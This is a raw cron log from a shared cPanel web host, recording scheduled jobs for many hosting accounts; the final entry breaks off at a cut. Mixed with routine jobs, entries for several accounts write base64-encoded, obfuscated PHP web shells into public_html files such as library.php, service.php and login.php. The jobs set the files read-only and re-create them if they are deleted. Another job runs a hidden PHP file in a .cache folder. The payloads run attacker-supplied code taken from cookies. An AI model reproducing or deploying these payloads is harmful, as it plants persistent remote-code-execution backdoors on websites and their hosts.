Mar  1 20:16:02 medusa CROND[12329]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 20:16:02 medusa CROND[12333]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 20:16:02 medusa CROND[12335]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:16:02 medusa CROND[12336]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 20:16:02 medusa CROND[12337]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:16:02 medusa CROND[12340]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:16:02 medusa CROND[12342]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:16:02 medusa CROND[12341]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 20:17:02 medusa CROND[22911]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 20:17:02 medusa CROND[22912]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:17:02 medusa CROND[22913]: (mauro2) CMD (/opt/cpanel/ea-php74/root/usr/bin/php -q "/home6/mauro2/public_html/wp-cron.php")
Mar  1 20:17:02 medusa CROND[22914]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 20:17:02 medusa CROND[22915]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 20:17:02 medusa CROND[22918]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 20:17:02 medusa CROND[22919]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:17:02 medusa CROND[22920]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 20:17:02 medusa CROND[22923]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 20:17:02 medusa CROND[22930]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:17:02 medusa CROND[22927]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:17:02 medusa CROND[22928]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 20:17:02 medusa CROND[22939]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 20:18:01 medusa CROND[28685]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 20:18:01 medusa CROND[28688]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 20:18:01 medusa CROND[28689]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:18:01 medusa CROND[28690]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdI